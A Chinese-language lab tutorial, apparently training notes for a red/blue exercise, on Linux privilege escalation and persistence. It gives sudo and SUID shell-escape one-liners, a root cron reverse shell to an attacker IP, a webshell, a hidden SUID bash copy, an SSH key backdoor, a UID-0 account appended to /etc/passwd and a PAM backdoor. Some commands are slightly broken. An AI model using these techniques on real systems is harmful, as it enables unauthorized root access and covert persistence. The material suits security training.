【网络安全】护网系列-权限维持-Linux权限提升&维持

简介: 【网络安全】护网系列-权限维持-Linux权限提升&维持

六、权限维持和应急排查

需要用两台虚拟机,kali和CentOS

1.Linux权限提升

权限提升(Privilege Escalation)

linux只有两种用户

普通用户

root用户

需要进一步获取root权限

实现提权的方法

操作系统内核的漏洞
操作系统设置不当提权
第三方服务存在漏洞的提权

会造成提权的漏洞如下

1.1 内核漏洞

内核:Linux操作系统管理核心功能的程序(管理网络、文件)

发行版:对内核做一定变动,本质一样

(1)内核与发行版

Linux内核版本 
https://www.kernel.org/ 

CVE内核漏洞有哪些
https://www.cvedetails.com/product/47/Linux-Linux- Kernel.html?vendor_id=33

内核的漏洞

image-20230718225242783.png

(2)内核漏洞

脏牛漏洞COW,2007年出现,2016年被发现

Dirty COW(Copy On Write)(CVE-2016-5195)(作业中有靶机) 
Dirty Pipe(CVE-2022-0847) 
Dirty Cred(CVE-2022-2588) 
Linux Polkit(CVE-2021-4034)

从普通用户提权到root非常重要的一个渠道

比如在CentOS操作系统上输入

uname -a

查看内核版本

image-20230718225822014.png

有了这些信息,再去漏洞数据库中查找

image-20230718230030109.png

想要找到这些漏洞文件,打开kali

image-20230718230133706.png

1.2 SUDO提权

SUDO 授权某些普通用户可以用root的身份去执行某些程序

Linux中很多普通用户,没有修改配置文件,重启系统的权限

image-20230718230409500.png

如果普通用户想要获得权限,root用户可以修改配置文件中SUDO的权限,

给它赋权

让普通用户也能以root身份运行程序(一些root命令)

Linux操作系统中的命令也是一种程序

必须在root用户中用命令来编写

visudo

比如

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

wuya这个用户可以在所有主机上,都可以用root的身份,

并且不需要再次确认密码

就可以执行“修改文件所有者”的命令

和“添加用户”的命令

1.2.1 找到程序位置

我们先来找下该程序

whereis useradd

看到添加用户的程序在这个地方

/usr/sbin/useradd

image-20230718231307806.png

先添加一个普通用户

1.2.2 添加组别

groupadd security

image-20230718231556009.png

1.2.3 添加普通用户

useradd -g security wuya

给用户设置一个初始密码

passwd wuya

image-20230718231809124.png

切换到wuya用户

su wuya

添加用户

useradd test

提示不允许,是root权限

image-20230718232135976.png

1.2.4 添加权限

切换到root用户

编辑

visudo

image-20230718232255101.png

找到root位置,添加提权命令

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

image-20230718232448058.png

或者可以给它添加所有权限

给wuya用户的所有主机授予所有权限

wuya ALL=(ALL:ALL) ALL

image-20230718232735531.png

然后在wuya用户下输入

sudo useradd test

成功

image-20230718232903010.png

1.2.5 提权流程

假如黑客拿到普通用户的权限

先输入

sudo -l

发现当前用户可以在所有主机做所有事

image-20230718233133829.png

目前假设普通用户只有使用find命令的权限

作为黑客可以

在用root身份查找文件后,并且用root身份运行bash程序

sudo find /home -exec /bin/bash \;

image-20230718233603245.png

当你输入

sudo -l

发现有以下任何一个命令的权限时

相关命令:
wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、
perl、bash、less、awk、man、vi、env、ftp

就可以通过一个命令直接提权

提权方式:
sudo awk 'BEGIN{system("/bin/bash")}' 
sudo find /home -exec /bin/bash \

1.3 SUID提权

SUID = Set UID (以程序所有者身份运行程序

SUID授权以文件为主体**

SUDO授权以用户为主体

例如:普通用户怎么修改/etc/shadow中的密码?

ll /usr/bin/passwd

用root权限给find加一个修改权限

chmod u+s /usr/bin/find

普通用户在执行命令时,调用root身份,可以查看身份

find 1.txt -exec whoami \;

普通用户

find 1.txt -exec '/bin/sh' -p \;

linux中利用suid中的find进行root提权遇到的坑

https://blog.csdn.net/rlenew/article/details/111873682

1.3.1 提权排查

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、 weget

搜索有S权限的程序(不同平台):

 find / -perm -u=s -type f 2>/dev/null

 find / -user root -perm -4000 -print 2>/dev/null

 find / -user root -perm -4000 -exec ls -ldb {} \

2. Linux权限维持

提权并不是永久的

当第一次拿到权限后,防止root用户删掉

防止杀毒、杀进程、关端口、打补丁等操作

2.1 webshell后门

利用webshell维持权限

各种编程语言的木马(后门)

shell.php 
dama.php
hack.war

如果管理员没有做系统清理,残留下这个PHP,就可以被黑客控制

将dama.php放到网站根目录下,打开小皮,开启环境,打开浏览器访问

http://localhost/dama.php

密码

yyds

进入系统,利用木马可以查看操作系统信息,操作数据库,提权

image-20230719221520316.png

2.2 定时任务后门

特点:定时执行,循环执行(容易被黑客利用)

crontab -u root -r 删除定时任务

image-20230719221743496.png

crontab -u root -l 查看
crontab -u root -e 修改

Kali监听7777端口

nc -lvvp 7777

CentOS写入任务(反弹连接)

通过bash的程序主动连接到攻击者的IP和端口

攻击者可以把自己的命令反弹到目标机

并且攻击者可以看到命令执行结果

把它写入

 * * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&

只要有写任务的权限,就可以在定时任务中写入一个反弹连接的值

2.3 SUID后面

在提权成功后进行的操作

root用户执行:

先去复制一个hack程序

cp /bin/bash /var/.hack

添加s权限,拥有bash的程序

chmod 4775 /var/.hack

查看权限是否修改成功

ls -al /var/.hack

image-20230719222528388.png

切换到普通用户执行,观察是否维持权限

 /var/.hack -p

image-20230719222658932.png

2.4 SSHKey后门(免密登录)

2.4.1 原理

正常登录需要输入密码,但是该方式不需要输入密码

它第一次登录生成一个公私钥对,把公钥放在服务器上,意味着它可以正常解密加密内容,

2.4.2 生成和查看(kali执行)

ssh-keygen -t rsa

image-20230719223039436.png

进入root文件夹下

cd /root/.ssh

image-20230719223151356.png

2.4.3 查看公钥内容

cat id_rsa.pub

image-20230719223226979.png

只要把公钥放到受害者服务器(authorized_keys )中,以后就可以直接连接服务器

2.4.4 写入(CentOS执行):

 cd /root/.ssh

 vim authorized_keys

image-20230719223454867.png

连接(Kali执行):

正常情况是需要输入密码的

ssh root@192.168.142.44

image-20230719223627562.png

连接成功

2.5 添加用户

2.5.1 生成密码:

openssl passwd -1 -salt admin 123456
-1 的意思是使用md5crypt加密算法 

-salt 指定盐为admin 

123456 明文密码

image-20230719224120610.png

2.5.2 追加(UID=0)

将刚刚生成的密码追加到文件中去

 echo'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

只要用户登录上,就是root权限

2.5.3 连接(Kali执行)

ssh root@192.168.142.44

用admin用户登录,登录成功变成root

image-20230719224353004.png

2.6 PAM后门

在系统认证中有一个pam_unix.so 模块,是用来做认证授权的

参考资料:

https://blog.csdn.net/weixin_40412037/article/details/118728788

下载编译

rpm -qa|grep pam 

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz 

tar -zxvf Linux-PAM-1.1.8.tar.gz 

yum install gcc flex flex-devel -y 

cd Linux-PAM-1.1.8 

vim modules/pam_unix/pam_unix_auth.c 

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp 

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh root@192.168.142.44
目录
相关文章
|
1天前
|
Linux
如何在 Linux 中递归更改文件的权限?
【5月更文挑战第10天】
12 3
|
3天前
|
算法 Linux 数据安全/隐私保护
Linux:权限
Linux:权限
10 0
|
4天前
|
Linux 数据安全/隐私保护 Windows
【Linux】权限 !
关于Linux的权限问题,可以理解为不同级别的工作者,分别拥有不同的能力来管理文件。
19 5
|
4天前
|
Linux 开发工具 数据安全/隐私保护
深入探索Linux:ACL权限、特殊位与隐藏属性的奥秘
深入探索Linux:ACL权限、特殊位与隐藏属性的奥秘
|
4天前
|
存储 安全 Linux
从基础到高级:Linux用户与用户组权限设置详解
从基础到高级:Linux用户与用户组权限设置详解
|
4天前
|
域名解析 网络协议 Linux
linux网络配置详解
linux网络配置详解
13 0
|
5天前
|
网络协议 Java Linux
【探索Linux】P.29(网络编程套接字 —— 简单的TCP网络程序模拟实现)
【探索Linux】P.29(网络编程套接字 —— 简单的TCP网络程序模拟实现)
11 0
|
5天前
|
存储 网络协议 算法
【探索Linux】P.28(网络编程套接字 —— 简单的UDP网络程序模拟实现)
【探索Linux】P.28(网络编程套接字 —— 简单的UDP网络程序模拟实现)
11 0
|
5天前
|
网络协议 算法 Linux
【探索Linux】P.27(网络编程套接字 —— UDP协议介绍 | TCP协议介绍 | UDP 和 TCP 的异同)
【探索Linux】P.27(网络编程套接字 —— UDP协议介绍 | TCP协议介绍 | UDP 和 TCP 的异同)
14 0
|
5天前
|
存储 算法 网络协议
【探索Linux】P.26(网络编程套接字基本概念—— socket编程接口 | socket编程接口相关函数详细介绍 )
【探索Linux】P.26(网络编程套接字基本概念—— socket编程接口 | socket编程接口相关函数详细介绍 )
12 0